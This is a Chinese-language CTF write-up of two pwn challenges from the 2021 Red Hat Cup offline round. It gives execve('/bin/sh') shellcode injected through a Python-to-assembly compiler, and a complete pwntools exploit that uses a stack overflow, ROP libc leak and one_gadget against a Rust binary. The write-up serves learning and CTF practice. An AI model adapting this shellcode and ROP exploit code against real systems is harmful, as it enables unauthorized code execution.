2021 第四届红帽杯线下 pwn writeup

比赛的时候一道题都没做出来,哭了,我真的太菜了。回来复盘了两道pwn题:mypypy和Ruuust,简单记录一下。

mypypy

两题都不是常见pwn,刚拿到手有点懵,随便试了一些输入,发现是把python的语法给编译成了asm。

然后仔细地看他是怎么翻译的,首先扫描一遍整个函数中所有出现的变量名,如果函数中有数组的话,就加一个位置存放数组个数,数组变量可以使用加法赋给另一个变量造成数组溢出,可以实现栈上任意数据读和任意数据写。

然后想到的是可以利用libffi中的gadget做rop调用mprotect将栈上的shellcode设为可执行后跳shellcode,但是还是比较复杂的。

回来以后发现如果出现字符串常量,会出现命令拼接的问题,可以直接拼接shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def main():
'''1
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
push 0x1016972
xor dword ptr [rsp], 0x1010101
xor esi, esi
push rsi
push 8
pop rsi
add rsi, rsp
push rsi
mov rsi, rsp
xor edx, edx
push 0x3b
pop rax
syscall
'''
END

Ruuust

去符号的rust程序,看了10分钟就不想看了,觉得自己肯定是看不懂的。手动玩了一会也不知道会是什么洞,就放弃了。

回来后动态调试了一下。发现menu是用一个独立的线程打印出来的,主循环是用另外一个线程执行的,不知道这是Rust的特性还是啥的。

发现3选项Talk with me直接是往栈上读的,比赛的时候还以为是malloc的。往栈上读可以溢出。

题目转化为无canary的栈溢出,第一轮leak libc,第二轮跳one gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python

from pwn import *
context.log_level='debug'
context.terminal=['tmux','split-w','-h']
context.arch='amd64'

p=process('./Ruuuuust',env={})
p.sendlineafter('Choice: ','23339999')
p.recvuntil('gift: ')
code=int(p.recvline().rstrip(),0x10)-(0x555555591758-0x555555554000)
print(hex(code))
pop_rdx=code+0x0000000000017f73
pop_rdi=code+0x00000000000061de
pop_rsi=code+0x00000000000062a7
pop_rax=code+0x0000000000007c06
write=code+0x24F05
read=code+0x7DD0
p.sendlineafter('Choice: ','3')
p.sendlineafter('Size: ',str(0xf8))
pay=(b'x'*0x88+p64(code+0x5555555a3000-0x555555554000)).ljust(0xb8,b'x')
pay+=flat([pop_rdx,code+0x4EAA8,pop_rax,8,write,0xdeadbeef,code+0x7C11])
p.sendafter('say: ',pay)
# attach(p,'b *$rebase(0x8363)\nc')
p.sendlineafter('Choice: ','5')
base=u64(p.recvn(8))-(0x7ffff72bcaf0-0x7ffff71a1000)
one=base+0x10a45c # 0x4f365 0x4f3c2 0x10a45c
print(hex(base))
p.sendlineafter('Choice: ','3')
p.sendlineafter('Size: ',str(0xf8))
pay=(b'x'*0x88+p64(code+0x5555555a3000-0x555555554000)).ljust(0xb8,b'x')
pop2=code+0x0000000000006b89
pop1=code+0x00000000000061de
pay+=flat([pop1,0,one])
p.sendafter('say: ',pay)
# attach(p,'b *$rebase(0x8363)\nc')
p.sendlineafter('Choice: ','5')
p.interactive()